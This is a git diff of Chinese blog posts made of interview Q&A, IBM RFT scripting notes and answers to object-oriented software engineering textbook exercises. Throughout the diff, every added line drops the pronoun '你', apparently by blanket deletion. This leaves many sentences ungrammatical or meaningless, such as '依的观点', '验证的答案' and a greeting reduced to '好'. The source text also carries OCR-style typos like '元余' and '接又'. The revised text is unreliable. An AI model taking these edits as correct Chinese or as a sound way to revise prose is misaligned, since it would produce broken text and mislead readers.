diff --git a/_posts/2023-4-30-test-markdown.md b/_posts/2023-4-30-test-markdown.md index d9e4d988bbe6..39d51adc1bab 100644 --- a/_posts/2023-4-30-test-markdown.md +++ b/_posts/2023-4-30-test-markdown.md @@ -10,10 +10,10 @@ comments: true ## 开发 开发方面： -1-问题：什么是版本控制，你如何在项目中使用它？ +1-问题：什么是版本控制，如何在项目中使用它？ 标准答案：版本控制是一种记录文件更改历史的系统，允许开发者回退到之前的版本，查看历史更改，合并代码等。在项目中，我使用Git进行版本控制，它可以让我轻松地管理和跟踪代码更改，并且在团队协作中也非常有用。 -2-问题：你如何进行代码调试和错误追踪？ +2-问题：如何进行代码调试和错误追踪？ 标准答案：我使用的是IDE内置的调试工具进行代码调试，通过设置断点和查看变量值来追踪代码的执行流程。对于错误追踪，我使用日志记录系统来捕捉和记录运行时的错误和异常。 @@ -25,11 +25,11 @@ comments: true 标准答案：持续集成/持续部署是一种软件开发实践，它要求开发者频繁地将代码集成到主分支。每次集成都通过自动化的构建来验证，包括编译、测试、打包等步骤，这称为持续集成。持续部署则是将集成后的代码自动化部署到生产环境，实现自动部署 -2-问题：你有用过哪些监控工具，用它们做什么？ +2-问题：有用过哪些监控工具，用它们做什么？ 标准答：Prometheus 和 Grafana作为监控工具。 Prometheus 用于收集和存储系统指标，Gratana 用于展示这些指标。通过它们，我可以实时地查看和分析系统的运行状态，包括 CPU、内存的使用情况，请求响应时间等。 -3-问题：你如何保证服务的高可用？ +3-问题：如何保证服务的高可用？ 标淮答案：为了保证服务的高可用，我会使用负载均衡和冗余备份。负载均衡可以将请求分发到多个服务器，这样即使有一个服务器出现故障，其他服务器仍可以提供服务。元余备份则是保证数据的安全，通过备份可以快速恢复服务。 diff --git a/_posts/2023-5-10-test-markdown.md b/_posts/2023-5-10-test-markdown.md index 769d7543849b..cd238b7d2de4 100644 --- a/_posts/2023-5-10-test-markdown.md +++ b/_posts/2023-5-10-test-markdown.md @@ -79,7 +79,7 @@ CMM、UML - 数据流图。表示数据在程序中如何流动的正规示意图。通常由圆圈和线条组成，所以也称为泡泡图。 - 状态转换图。将软件分解为基本状态或者条件的另一种正规示意图，表示不同状态间转换的方式。 - 流程图。用图形描述程序逻辑的传统方式。流程图现在不流行了，但是一旦投入使用，根据详细的流程图编写代码是很简单的。 -- 代码注释。有一个老说法：你写一次代码，至少被别人看10次。在软件代码中嵌入有用的注释是极为重要的，这样便于维护代码的程序员轻松掌握代码的内容和执行方式。 +- 代码注释。有一个老说法：写一次代码，至少被别人看10次。在软件代码中嵌入有用的注释是极为重要的，这样便于维护代码的程序员轻松掌握代码的内容和执行方式。 8.软件生命周期 软件产品从形成概念开始-开发-使用-维护-退役 @@ -172,7 +172,7 @@ Beta测试: 一种后期的用户测试，此时系统已经通过内部测试 - 边界值分析 -假设你正在测试一个电子商务网站的注册页面。该页面要求用户提供他们的年龄。最小允许年龄为18岁，最大允许年龄为100岁。请列出边界测试用例，以确保页面正确地处理这些边缘情况。 +假设正在测试一个电子商务网站的注册页面。该页面要求用户提供他们的年龄。最小允许年龄为18岁，最大允许年龄为100岁。请列出边界测试用例，以确保页面正确地处理这些边缘情况。 ```text 测试情况 输入 预期输出 diff --git a/_posts/2023-5-7-test-markdown.md b/_posts/2023-5-7-test-markdown.md index a6ef228470de..cd692d0c2ebd 100644 --- a/_posts/2023-5-7-test-markdown.md +++ b/_posts/2023-5-7-test-markdown.md @@ -233,7 +233,7 @@ RFT脚本支持不同的任务，包括自动化测试执行、数据操纵、 #### Part 3 - Record script -你好！我很乐意帮助您使用 IBM RFT 8.5 录制脚本。以下是步骤： +好！我很乐意帮助您使用 IBM RFT 8.5 录制脚本。以下是步骤： 1. 打开 IBM RFT 并通过选择 File > New > Test Script 创建一个新的测试脚本。 2. 在对象查找器窗格中，选择要记录交互的应用程序或网页。 @@ -501,7 +501,7 @@ TestObject loginButton = find("loginButton"); String varName = testObject().getProperty(".text").toString(); ``` - 在这个例子中，“varName”是你想要保存文本值的变量名，而“testObject()”是你之前从Object Map中选择的应用程序对象。 + 在这个例子中，“varName”是想要保存文本值的变量名，而“testObject()”是之前从Object Map中选择的应用程序对象。 7. 运行测试脚本并观察输出结果。变量"varName"中将包含选定对象的文本内容。 @@ -537,7 +537,7 @@ TestObject loginButton = find("loginButton"); 5. 运行测试脚本并观察输出结果。根据正则表达式是否与相应对象属性相匹配，输出应显示文本。 -在上面的代码片段中，“regex”是你定义的正则表达式字符串，而“testPropertyValue”是你想要测试的属性值。在这种情况下，“textMatches”变量将存储一个布尔值，指示对象属性是否与正则表达式匹配。 +在上面的代码片段中，“regex”是定义的正则表达式字符串，而“testPropertyValue”是想要测试的属性值。在这种情况下，“textMatches”变量将存储一个布尔值，指示对象属性是否与正则表达式匹配。 需要注意的是，在使用正则表达式时，请确保在字符串中进行适当的转义和转义字符处理，以便有效地捕获特殊字符和模式匹配。 diff --git a/_posts/2023-5-8-test-markdown.md b/_posts/2023-5-8-test-markdown.md index 5744b239a75b..b5fdb1f68bcf 100644 --- a/_posts/2023-5-8-test-markdown.md +++ b/_posts/2023-5-8-test-markdown.md @@ -57,7 +57,7 @@ comments: true 适用范围有限。每种编程语言都有其特定的应用场景和优缺点，如果只使用一种编程语言可能无法满足所有需求和问题，需要结合其他语言或工具进行开发。 创新受限。使用单一编程语言进行开发时，可能会受到该语言特性的限制，创新空间相对有限，难以实现特殊的业务逻辑或功能。 -3.考感一种你不熟悉的任务，比如设计 一种零排放的汽车。你怎么处理此问题? +3.考感一种不熟悉的任务，比如设计 一种零排放的汽车。怎么处理此问题? - 调研和了解相关领域知识。 - 收集和分析数据。 - 确定设计目标和要求 @@ -89,7 +89,7 @@ comments: true - “ 售票系统给旅客提供在线帮助。（需求设计） 8.在下面描述中，试解释 account 一词什么时候用作应用域概念、什么时候用作解答域 概 念: -“假设你在开发 一个管理移动用户银行账户的在线系统。 一个主要的设计问题是如何 在客户不能建立在线连接时，让他能进入账户。 一个提议是可以通过移动计算机进入 账户，即使服务器没有上线。在这种情形下，账户显示最后一次连接交易后的数目。” +“假设在开发 一个管理移动用户银行账户的在线系统。 一个主要的设计问题是如何 在客户不能建立在线连接时，让他能进入账户。 一个提议是可以通过移动计算机进入 账户，即使服务器没有上线。在这种情形下，账户显示最后一次连接交易后的数目。” 在这个描述中，"account" 一词被用作解答域概念。 @@ -107,7 +107,7 @@ comments: true - 目标限制：任务是为了完成某个具体的工作，达到某个预期的结果 - 复杂度：任务相对于活动来说，更加复杂和困难， -10.一架 客 机 由 几 百 万 个 零 件 构 成 且 需 要 成 千 上 万 的 人 来 安 装 。 一 个 四 车 道 的 高 速 公 路 桥是又一个复杂性的例子。Windows 下的word第一个版本，由微软1989年发行的 字处理器需要55 人工作 一年，生成249000 行源代码，晚4 年才交付。飞机和高速 公路桥通常能如期交付，而软件通常不能如期交付。依你的观点，讨论造成这种情 形的 飞机、高速公路桥的开发与字处理器开发的差别 +10.一架 客 机 由 几 百 万 个 零 件 构 成 且 需 要 成 千 上 万 的 人 来 安 装 。 一 个 四 车 道 的 高 速 公 路 桥是又一个复杂性的例子。Windows 下的word第一个版本，由微软1989年发行的 字处理器需要55 人工作 一年，生成249000 行源代码，晚4 年才交付。飞机和高速 公路桥通常能如期交付，而软件通常不能如期交付。依的观点，讨论造成这种情 形的 飞机、高速公路桥的开发与字处理器开发的差别 其开发过程中可能会涉及多个层面，例如需求定义、架构设计、编码和测试等。如果在任何一个环节出现问题，都可能会导致项目延误或者失败。 @@ -118,7 +118,7 @@ comments: true - 用例图：需求获取和分析-表示系统功能（参与者）。从用户角度展示系统功能，定义了系统边界。 - 类图：标识系统结构 - 交互图：系统行为形式化，对象之间的通信可视化。顺序图是交互图的特殊形式。顺序图吧把关注点放在对象之间的信息交换上。使用一组对象之间的交互表示系统的行为。 -- 状态机：用一组状态以及状态之间你的迁移描述耽搁对象的动态行为。状态机把关注点放在状态之间的迁移上。结果：一个独立对象产生了外部事件。表示非平凡对象的行为 +- 状态机：用一组状态以及状态之间的迁移描述耽搁对象的动态行为。状态机把关注点放在状态之间的迁移上。结果：一个独立对象产生了外部事件。表示非平凡对象的行为 - 活动图:活动图利用活动描述了一个系统的行为。活动表示：操作集合执行的建模元素。圆角矩阵表示活动，活动之间的箭头表示迁移。短粗棒表示控制流同步。表示贯穿一个系统的数据流图或者控制流图。 ### 关系 @@ -210,7 +210,7 @@ comments: true 管理员：有权管理ATM机，例如维护ATM机硬件和软件、配置ATM机系统、添加新功能等。 -2.在考虑一个系统时，是否可以将该系统作为 一个参与者处理?验证你的答案 +2.在考虑一个系统时，是否可以将该系统作为 一个参与者处理?验证的答案 答案：在考虑一个系统时，可以将该系统作为一个参与者处理。例如，ATM机可以被视为ATM系统中的一个参与者，因为它积极地参与了与用户交互和执行操作的过程。然而，在对系统进行分析和设计时，通常会更多地关注系统的组件、模块或服务等内部实现细节，而不是将整个系统视为一个独立的参与者。因此，是否要将系统本身视为参与者取决于具体情况和需要分析的问题。 @@ -264,9 +264,9 @@ DistributorOutOfPaper 分销商缺乏票据 | | | | +---------+ +--------+ -7.在你完成的练习6的基础上，在类图中增加重数 +7.在完成的练习6的基础上，在类图中增加重数 -8.画出对象图， 以表示本书的第一部分 (即第一部分 ， 准 备开始)。 确认你所画出的对象图与练习6中的类图一致 +8.画出对象图， 以表示本书的第一部分 (即第一部分 ， 准 备开始)。 确认所画出的对象图与练习6中的类图一致 9.扩展练习2- 6中的类图 ， 以包含如下属性 : 书中包括出版者 、 出版日期和ISBN @@ -299,9 +299,9 @@ classDiagram ``` 继承 -12.对著书目录的参考文献画一个类图。使用附录C 中的参考文献Bibliography，以测试 你的类图。你的类图应该尽可能细化。 +12.对著书目录的参考文献画一个类图。使用附录C 中的参考文献Bibliography，以测试 的类图。的类图应该尽可能细化。 -13.画出图2-21的场景warehouseOnFire 的顺序图。包括对象bob、alice、john、FRIEND 和你所需要的其他类的实例。仅画出前 五个消息发送 +13.画出图2-21的场景warehouseOnFire 的顺序图。包括对象bob、alice、john、FRIEND 和所需要的其他类的实例。仅画出前 五个消息发送 ```mermaid sequenceDiagram @@ -352,7 +352,7 @@ Dispatcher -> Dispatcher: 评估信息并创建事件 Dispatcher -> FRIEND: 显示响应并传达给现场工作人员 @enduml ``` -15.通过电话订购一份比萨饼的过程。画出活动图表示该过程的每 一步，从你 拿起电话的那一时刻开始，到你开始吃比萨饼这一时刻为止。不必表示任何意外情 况，包括其他需要处理的活动。 +15.通过电话订购一份比萨饼的过程。画出活动图表示该过程的每 一步，从 拿起电话的那一时刻开始，到开始吃比萨饼这一时刻为止。不必表示任何意外情 况，包括其他需要处理的活动。 ``` @startuml @@ -388,7 +388,7 @@ stop ``` -16.对你开发的练习15 的活动图增加一条异常处理。至少考虑三种异常 (例如接电话 者 记 错 了 号 码 、 外 卖 者 给 出 了错 误 的 比 萨 饼 、 存 储 不 下 ) 。 +16.对开发的练习15 的活动图增加一条异常处理。至少考虑三种异常 (例如接电话 者 记 错 了 号 码 、 外 卖 者 给 出 了错 误 的 比 萨 饼 、 存 储 不 下 ) 。 17.根据软 件 开 发 活 动 。第 一 个 活 动 图 要 求 : 画出活动图表示这些活动，假设这些活动严格按顺序执行。第 二个活动图要求:画 出以增量方式发生时相同活动的活动图 《即包括分析、设计、实现和测试在内的系 统的一部分开发完成之前，系统的另一-部分开发已经开始。第三个活动图要求:画 出描述这些相同活动并发发生时的活动图。 @@ -528,14 +528,14 @@ stop 客户是购买软件或服务的组织或个人，他们对软件有决策权，可以指定要求和功能，并为软件支付费用。而最终用户是实际使用软件的人员或受益人，他们与软件直接交互，使用软件来完成任务或获得价值。 -4.根据如下任务，你将承担的角色是什么? +4.根据如下任务，将承担的角色是什么? - 改变一个子系统接又以适应新的需求 。 - 因子系统接又的改变而与其他项目团队进行沟通。 - 因接口的改变而改变文档 。 - 设计测试用例组以检查因改变而引入的错误。 - 确信所进行的改变在计划安排内可完成。 -5.你将负责协调一 个处理银行信用卡系统的开发。对该项目而言，对以 下项目参与者而 言，谁最为合适担当此角色? +5.将负责协调一 个处理银行信用卡系统的开发。对该项目而言，对以 下项目参与者而 言，谁最为合适担当此角色? 一 个银 行 雇 员对 处 理 信 用 卡应 用 负 责 。 在银行中的信息技术组经理，其将定义系统。 一个 具有过开发相似系统的自由程序 员。 @@ -550,7 +550,7 @@ stop ## Part4 -1.考虑将你的表作为系统，并将时间向前拨 2 分钟。写出你和你的 手表之间进行交互的场景 。记录下所有场景 ， 包括手表提 供 给 你 的 任 何 反 馈 。 +1.考虑将的表作为系统，并将时间向前拨 2 分钟。写出和的 手表之间进行交互的场景 。记录下所有场景 ， 包括手表提 供 给 的 任 何 反 馈 。 场景1: @@ -652,7 +652,7 @@ stop - 如果手表当前时间等于新设置的闹钟时间，手表响铃提醒用户。 -4.检查你在练习4-2 和练习4-3 中所写出的SetTime 和SetAlarmTime 用例。通过使用包 含关系抽取任何元余。说明在这一用例中，与使用扩展关系相比，为什么包含关系是 优先。 +4.检查在练习4-2 和练习4-3 中所写出的SetTime 和SetAlarmTime 用例。通过使用包 含关系抽取任何元余。说明在这一用例中，与使用扩展关系相比，为什么包含关系是 优先。 **包含关系抽取出的元素：** @@ -682,7 +682,7 @@ stop 在这个用例中，包含关系比扩展关系更合适，因为设置闹钟时间的用例包含了设置时间的用例。设置时间是设置闹钟时间所必需的子步骤。使用包含关系可以避免在两个用例之间出现重复步骤，从而使用例更简洁、易读和易于维护。此外，使用包含关系还可以将这些用例分别测试并独立验证其正确性。 -5.当满足报告紧急情况EmergencyReport 时，假设现场工作人员FieldOficer将引用Help 特征。对每一个领域，Help 报告紧急情况ReportEmergency 特征提供了细节描述，说 明了哪一个域需要这些细节。修改报告紧急情况ReportEmergency用例(在图4-10 中 描述)以包括这一帮助功能。在报告紧急情况ReportEmergency 和Help 报告紧急情況 ReportEmergency 之间，你应该使用哪一种关系? +5.当满足报告紧急情况EmergencyReport 时，假设现场工作人员FieldOficer将引用Help 特征。对每一个领域，Help 报告紧急情况ReportEmergency 特征提供了细节描述，说 明了哪一个域需要这些细节。修改报告紧急情况ReportEmergency用例(在图4-10 中 描述)以包括这一帮助功能。在报告紧急情况ReportEmergency 和Help 报告紧急情況 ReportEmergency 之间，应该使用哪一种关系? 6.关 于以 下非 功 能 性 需 求 的 一 些 例 子 。 说 明 哪 些 需 求 是 能 证 实 的 ? 哪 些 不 能 : “ 系 统 必 须 是 可 用 的 。”（无法被证实） @@ -725,7 +725,7 @@ stop 误导性：调查表设计不当，很容易导致受访者误解或错误回答问题，这可能导致我们所获得的数据失真，进而导致对需求的错误理解。 -10.站在你的观点上，描述在需求获取活动中用户的优点和缺点。同样地， 描述在需求 获取活动中开发者的优点和缺点。 +10.站在的观点上，描述在需求获取活动中用户的优点和缺点。同样地， 描述在需求 获取活动中开发者的优点和缺点。 用户的优点：真实且具体：用户了解他们自己的需求，并能真实地反映他们在日常生活和工作环境中所遇到的问题，提供具体的使用场景和案例。启发式思维：用户在日常使用产品或服务时会形成自己的习惯和方式，他们的交互方式和习惯可能会启发我们进行更好的设计。集成思考：用户往往可以为团队带来不同的视角和观点，帮助开发团队整合多方面的需求。 @@ -736,7 +736,7 @@ stop 沟通协调能力：开发者可以对用户的需求进行分析和解释，并与用户保持沟通，以便更好地把握需求，逐步迭代产品，确保最终产品能够满足用户的需求。 -11.简要定义术语“英单” 。在纸上写出你的回答，并将之放到另外西个学生给出的定 义中，并将这五个定义混在 一起。比较这五个定义并讨论这些定义的不同 +11.简要定义术语“英单” 。在纸上写出的回答，并将之放到另外西个学生给出的定 义中，并将这五个定义混在 一起。比较这五个定义并讨论这些定义的不同 ## Part5 @@ -769,7 +769,7 @@ stop - 鼠标指针：表示用户正在执行拖放操作。在这个场景中，鼠标指针的状态将随着用户在屏幕上移动而改变，以便提供反馈并帮助用户精确定位他们所选的文件和目标文件夹。 -3.在顺序图中水平地排列练习5-1和练习5-2中列出的对象，將边界对象放在左边，将 你要标识的控制对象放在中间，将实体对象放在右边。画出将文件拖入文件火的交互顺序。在本题中，忽略异常情况。 +3.在顺序图中水平地排列练习5-1和练习5-2中列出的对象，將边界对象放在左边，将 要标识的控制对象放在中间，将实体对象放在右边。画出将文件拖入文件火的交互顺序。在本题中，忽略异常情况。 ```paltuml @startuml @@ -804,7 +804,7 @@ activate Screen ``` -4.检查你在练习5-3 中面出的顺序图，标识出这些对象之间的关联 +4.检查在练习5-3 中面出的顺序图，标识出这些对象之间的关联 User与Screen之间的关联为：用户打开文件管理器，并选择了要拖动的文件。 User与Disk之间的关联为：用户从软盘上选择了文件并拖动。 @@ -881,7 +881,7 @@ Screen代表了一个界面或显示区域。在这个场景中，用户的交 起始点不明确：可以通过使用国际标准公历（ISO 8601）来统一起始点。ISO 8601 规定了以公元1年1月1日为起点的地球时间系统，并将其碾平全球各种文化和历史背景的差异。采用ISO 8601 标准的话，时间的表示格式也会变得更加规范和易于理解。 -7.考虑图 5- 32 中的对象模型。仅使用关联多样性，你可以修改该模型，以便不熟习 Gregorian 日历的开发者可以减少每一个月中的天数吗?如果需要，标识出外部类 +7.考虑图 5- 32 中的对象模型。仅使用关联多样性，可以修改该模型，以便不熟习 Gregorian 日历的开发者可以减少每一个月中的天数吗?如果需要，标识出外部类 8.考虑四方向十字路又的交通灯系统 (两条成直角的相交道路)。假设为了考虑循环通 过交通灯的最简单算法 ( 即 当一 个 十字路又的在一条路上的交通是允许的话，则同时 另 一条路 上的交通停止)。标识出这一系统的状态，并面出描述这 一状态的状态图。 记住每 一个单独的交通灯具有 三个状态(绿、黄和红) @@ -910,7 +910,7 @@ YellowV_NorthSouth --> RedH_EastWest : Done with NorthSouth, now EastWest can st 11.标识出每一个参与到AnnounceTournament 用例的外部实体对象、边界对象和控制对 象，并写出相关的定义。该实例通过实现练习5- 10 说明的变化而引入 -12.更新图5-29 的类图和图5-31的类图，以说明你在练习5-11中标识出的新对象 +12.更新图5-29 的类图和图5-31的类图，以说明在练习5-11中标识出的新对象 13.根据从图5- 26 至图5-28 的顺序图，画出描述Announce ToumamentControl 对象行为 的状态图。将每 一个通知的发送和接收作为触发状态改变的事件米对待 @@ -943,7 +943,7 @@ YellowV_NorthSouth --> RedH_EastWest : Done with NorthSouth, now EastWest can st **成本：关注费用** **最终用户：关联到用户** -3.假设你正在开发一个系统，该系统要将数据存储在UNI X文件系统上。并且你预测到 以后会发布运行在其他操作系统上的系统新版本，提供对不同的文件系统支持。给出 一个考虑到了将来变更的子系统分解方案 +3.假设正在开发一个系统，该系统要将数据存储在UNI X文件系统上。并且预测到 以后会发布运行在其他操作系统上的系统新版本，提供对不同的文件系统支持。给出 一个考虑到了将来变更的子系统分解方案 @@ -981,7 +981,7 @@ b. 讨论模型/视/控制器(MVC)体系结构对下列设计目标是有帮助 - 安全性：多层体系结构使得整个系统更复杂，这可能导致安全漏洞复杂化。攻击者可以利用体系结构中的任何弱点，在不被检测到的情况下访问系统中的数据。 -7.在许多体系结构中，例奶三层或四层体系结构(图6-22和图6-23)，持久性对象的存 储由专门的 一层来处理。就你的观点而言，是哪些设计目标导致了这一决策? +7.在许多体系结构中，例奶三层或四层体系结构(图6-22和图6-23)，持久性对象的存 储由专门的 一层来处理。就的观点而言，是哪些设计目标导致了这一决策? 可维护性和可扩展性 - 分离数据存储功能到单独的层中使得代码更容易维护，并且如果需要升级或更换底层数据库，只需修改单个层即可。 @@ -1036,7 +1036,7 @@ end note ``` -2.考察一个为航空器制造商服务遗留的基于传真的问题报告系统。你是再工程项目的 一 部分，采用一个含有数据库和通告系统的基 于计算机系统代替原有系统。容户需要传 真来保留问题汇报的进入点。你计划采用电子邮件进入点。描述 一个考虑了所有接接口的子 系 统 分 解 。 注 意 ， 这 个系统每天都 会 处 理 许 多 问 题 报 告 的 ( 例 如 ， 一天 会 收 到 2 0 0 0 份传真)。 +2.考察一个为航空器制造商服务遗留的基于传真的问题报告系统。是再工程项目的 一 部分，采用一个含有数据库和通告系统的基 于计算机系统代替原有系统。容户需要传 真来保留问题汇报的进入点。计划采用电子邮件进入点。描述 一个考虑了所有接接口的子 系 统 分 解 。 注 意 ， 这 个系统每天都 会 处 理 许 多 问 题 报 告 的 ( 例 如 ， 一天 会 收 到 2 0 0 0 份传真)。 子系统一：问题报告输入 @@ -1058,7 +1058,7 @@ end note 综上所述，基于计算机系统的问题报告系统应该由以上五个子系统组成，它们必须紧密协调才能实现高效地处理每天大量问题报告的目标。 -3.你正在为 一个基于网络的零售商店设计访问控制策略。客户可以通过网络来访问商 店，浏览商品的信息，输入他们的地址和付账信息，购买商品。供应商能够添加新的 商品、更新商品信息、接收订单。商店老板可以设置零售价格、基于顾容的购买情况 提供打折或销售服务。你必须处理三种参与者:商店管理者StoreAd inistrator、供应 商Supplier 和消费者Customer。为这三种参与者设计一种访问控制策略。消费者 Customers 可以由网络创建，而供应商 Suppliers 由商店管理者StoreAdministrator * 创建。 +3.正在为 一个基于网络的零售商店设计访问控制策略。客户可以通过网络来访问商 店，浏览商品的信息，输入他们的地址和付账信息，购买商品。供应商能够添加新的 商品、更新商品信息、接收订单。商店老板可以设置零售价格、基于顾容的购买情况 提供打折或销售服务。必须处理三种参与者:商店管理者StoreAd inistrator、供应 商Supplier 和消费者Customer。为这三种参与者设计一种访问控制策略。消费者 Customers 可以由网络创建，而供应商 Suppliers 由商店管理者StoreAdministrator * 创建。 消费者 (Customers) 访问控制策略 消费者是最广泛使用商店服务的群体，因此我们的访问控制策略应该尽量简单易懂，并且能够限制他们在系统中的访问权限。下面是一些措施： @@ -1080,7 +1080,7 @@ end note 双重验证：在敏感操作（如修改顾客账户信息）前，要求管理员进行额外的身份验证。 数据存储：管理员能够查看所有数据，但必须保证对数据的保密，并且只有在必要的情况下才能分享。 -4.为下面的每个系统选择一种你觉得最合适的控制流机制。因为在绝大多数的案例中， 多个选择是可行的，请证实你的选择。 +4.为下面的每个系统选择一种觉得最合适的控制流机制。因为在绝大多数的案例中， 多个选择是可行的，请证实的选择。 设计一 个持续高负荷的网络服务器。 @@ -1101,7 +1101,7 @@ end note 边界用例（Boundary Use Case）通常是通过建模技术中的系统顺序图或交互图来描述系统和外部参与者之间的交互行为。 -6.你正在设计一个高速缓存系统，它临时地将网络 上检索到的数据 (例如，网页)存储 到一个比较快的存储器中 (例如，硬盘)。由于需求发生了一个变更，你需要在你的 子系统中为配置高速缓存的参数 (例如，硬盘的高速缓存可以使用的最大数量)而定义一个额外的服务。此时，你将通知哪些项目参与者? +6.正在设计一个高速缓存系统，它临时地将网络 上检索到的数据 (例如，网页)存储 到一个比较快的存储器中 (例如，硬盘)。由于需求发生了一个变更，需要在的 子系统中为配置高速缓存的参数 (例如，硬盘的高速缓存可以使用的最大数量)而定义一个额外的服务。此时，将通知哪些项目参与者? - 项目经理：作为项目领导者，项目经理需要了解新服务如何影响项目进度和预算。 - 开发团队：开发团队需要明确新服务的需求和其设计实现方案，并相应地更新代码。此外，他们还需要评估对现有代码和系统架构的影响，以及更新测试用例来验证新服务的正确性。 @@ -1141,9 +1141,9 @@ end note - "Window" 类是通过继承 "Polygon" 类而得到 实现继承 -3.考虑用Java 语言编写的Bridge 游戏，我们想把这个游戏整合进 ARENA，那么你将使 用何种设计模式，试画一个与ARENA对象有关的UML 类图，其中要这些类同时在 Bridge 游戏中也出现 +3.考虑用Java 语言编写的Bridge 游戏，我们想把这个游戏整合进 ARENA，那么将使 用何种设计模式，试画一个与ARENA对象有关的UML 类图，其中要这些类同时在 Bridge 游戏中也出现 -4.考虑一个支持软件开发的工作流系统。这个系统使得管理人员可以对开发者在方法和工作成果应该遵守的过程建模。管理人员可以给每个开发者分配特定的任务，并对工作成果的完成设置一个最后时限。这个系统支持很多类型的工作成果，包括规格化的 文本、图片和URL。开发者在编辑工作流时，能够动态地在运行时设置每 一个工作的 类型。假设你的一个设计目标是设计系统使得将来可以加入更多的工作成果类型，你 将选用何种设计模式来描述 工作成果? +4.考虑一个支持软件开发的工作流系统。这个系统使得管理人员可以对开发者在方法和工作成果应该遵守的过程建模。管理人员可以给每个开发者分配特定的任务，并对工作成果的完成设置一个最后时限。这个系统支持很多类型的工作成果，包括规格化的 文本、图片和URL。开发者在编辑工作流时，能够动态地在运行时设置每 一个工作的 类型。假设的一个设计目标是设计系统使得将来可以加入更多的工作成果类型， 将选用何种设计模式来描述 工作成果? ``` @startuml @@ -1174,7 +1174,7 @@ WorkProduct <|.. URLWorkProduct ``` -5.考虑一个包含一个数据库客户和两个元余的数据库服务器。两个数据库服务器都是 一样的:第一个用做主服务器，第二个用做备份以防主服务器不能工作时使用。数据库客户通过一个称为“网关” 的构件访问主服务器，因此客户无法知道是对哪一个服务 器进行的访问。一个单独的称为“看门狗” 监控客户的请求和主服务器的反应，然后 告诉网关是否应该将请求发送给后备服务器。你想把这个设计模式称做什么?画一个 UML 图证明你的选择是正确的。 +5.考虑一个包含一个数据库客户和两个元余的数据库服务器。两个数据库服务器都是 一样的:第一个用做主服务器，第二个用做备份以防主服务器不能工作时使用。数据库客户通过一个称为“网关” 的构件访问主服务器，因此客户无法知道是对哪一个服务 器进行的访问。一个单独的称为“看门狗” 监控客户的请求和主服务器的反应，然后 告诉网关是否应该将请求发送给后备服务器。想把这个设计模式称做什么?画一个 UML 图证明的选择是正确的。 答：在中介者模式中，对象之间的通信通过一个中介者对象进行协调。在这个场景中，DatabaseClient、MasterDatabaseServer、BackupServer、Watchdog 和 Gateway 都是同等重要的对象，而 Watchdog 担任中介者角色，协调它们之间的通信。 @@ -1185,7 +1185,7 @@ WorkProduct <|.. URLWorkProduct - 抽象和实现都稳定：如果您确定抽象和实现都很稳定，则不需要使用桥接模式。因为如果它们不太可能改变，那么拆分它们的成本可能会超过获得的好处。 - 即实现类或模块依赖于抽象类或接口，但是抽象类或接口不依赖于实现类。这种情况下，如果我们想要将实现与抽象分离开来，使它们可以独立变化和扩展，就可以使用桥接模式 -7.考虑 下面的设计目标。对它们中的每一个，指出你觉得可以达到每一个目标的候选 模式: +7.考虑 下面的设计目标。对它们中的每一个，指出觉得可以达到每一个目标的候选 模式: - 给定一个可继承的应行程序，封装己有的业务逻辑构件。 候选模式: 模板方法模式 @@ -1210,7 +1210,7 @@ WorkProduct <|.. URLWorkProduct 与前两个例子类似，路径选择算法构件可以定义为策略对象，以便在运行时根据不同的路径选择算法来评价耗子的路径选择。 -8.考虑 一个必须动态的选择基于保密性要求和计算时间约束的加密算法的应用程序。你 将 会选 择 哪 一 个 设 计模 式 ?画 一 个 U M 类图 描 述 模 式中 用 到 的 类 并判 断 你 的 选择 的 正确性。 +8.考虑 一个必须动态的选择基于保密性要求和计算时间约束的加密算法的应用程序。 将 会选 择 哪 一 个 设 计模 式 ?画 一 个 U M 类图 描 述 模 式中 用 到 的 类 并判 断 的 选择 的 正确性。 我将选择策略模式来设计这个动态选择加密算法的应用程序。 @@ -1278,7 +1278,7 @@ result <> null and result = self->at(idx) -- 返回在队列中的位置为idx 后置条件: 如果 e 不在集合中，则返回 false。 -3.考虑在java.util 包中的Collection 接又，它是List 和Set 的父类。为下列的操作编写前 置 条 件 和 后 置条 件 并 且在 知 道 契 约 是 可 以 的 情 况 下对 你 在练 习 9- 1 和 练 习9- 2 中 的 编 写的约束进行改进，注意要确保你所做的符合Liskov 替换准则。 +3.考虑在java.util 包中的Collection 接又，它是List 和Set 的父类。为下列的操作编写前 置 条 件 和 后 置条 件 并 且在 知 道 契 约 是 可 以 的 情 况 下对 在练 习 9- 1 和 练 习9- 2 中 的 编 写的约束进行改进，注意要确保所做的符合Liskov 替换准则。 - int size0返回在Collection 中的元素数目。 - void add(object e)往Collection 中加入一个新的对象。 @@ -1723,7 +1723,7 @@ Project表包含以下属性：id（主键）、name。 Participant表包含以下属性：id（主键）、name、team_id（外键参考Team表的id列），以及一个关系映射表project_participant，它有project_id和role两个列。 Team表包含以下属性：id（主键）、name、leader_id（外键 -8.有两种通用的方法可以将关联映射到集合集合。在 10. 6. 2 节中，我们将 N 元关联统 计Statistics映射到两个类，一个简单的统计类Statistics用于存储关联的属性， 一个 StatisticsVault 类用于存储关联链接中的链接状态。在10.4.2节中，我描述了一种交 替的方法，在改进的方法中，关联链接存储 于关联两端的其中一 个或两个类中。在 存储 于两个类中的事件链接中，我们增加相同的递归方法以确保两个数据结构保持 一致。使用第二个方法將N 元统计Statistics 关联映射到集合。讨论你遇到的权衡问 题和每 一个方法的相对优势。 +8.有两种通用的方法可以将关联映射到集合集合。在 10. 6. 2 节中，我们将 N 元关联统 计Statistics映射到两个类，一个简单的统计类Statistics用于存储关联的属性， 一个 StatisticsVault 类用于存储关联链接中的链接状态。在10.4.2节中，我描述了一种交 替的方法，在改进的方法中，关联链接存储 于关联两端的其中一 个或两个类中。在 存储 于两个类中的事件链接中，我们增加相同的递归方法以确保两个数据结构保持 一致。使用第二个方法將N 元统计Statistics 关联映射到集合。讨论遇到的权衡问 题和每 一个方法的相对优势。 @@ -1731,9 +1731,9 @@ Team表包含以下属性：id（主键）、name、leader_id（外键 -1.改正在图11-12中isleapYear0方法和getNumDaysInMonthO方法中的错误，并使用 路径测试方法来产生测试用例，你发现的测试用例是否与表11-4 和图11- 13 的有所 不同?为什 么?你发现的测试用例是否揭示你修改的错误? +1.改正在图11-12中isleapYear0方法和getNumDaysInMonthO方法中的错误，并使用 路径测试方法来产生测试用例，发现的测试用例是否与表11-4 和图11- 13 的有所 不同?为什 么?发现的测试用例是否揭示修改的错误? -2.对 2 B w a t c h 的 用 例 (图 1 1 - 1 4 ) ， 根 据 S e t T i m e 状 态 图 导 出 等 效 J a v a 代 码 ， 根 据 你 产 生的代码使用等价测试 、边界测试和路径测试来产生测试用例。这些测试用例与基 